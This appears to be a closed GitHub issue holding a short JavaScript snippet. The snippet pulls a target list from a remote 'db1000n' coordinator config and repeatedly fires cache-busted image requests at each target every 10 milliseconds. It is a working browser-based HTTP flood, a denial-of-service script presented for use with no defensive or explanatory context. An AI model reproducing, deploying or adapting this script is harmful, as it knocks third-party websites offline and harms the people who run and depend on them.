Closed Andro999b closed 2 years ago
const speed = 10 function imgflood(targets) { let i = 0; return function () { if (i >= targets.length) i = 0 const target = targets[i] const pic = new Image() const rand = Math.floor(Math.random() * 1000) pic.src = target + (target.includes("?") ? "&" : "?") + 'val=' + rand + 't=' + Date.now() i++ } } fetch("https://raw.githubusercontent.com/db1000n-coordinators/LoadTestConfig/main/config.json") .then(res => res.json()) .then(({ jobs }) => jobs .filter(({ type, args: { path, headers } }) => type == "http" && path.startsWith("https") && Object.keys(headers).length == 0 ) .map(({ args: { path } }) => path) ) .then(targets => { if (targets.length > 0) setInterval(imgflood(targets), speed) })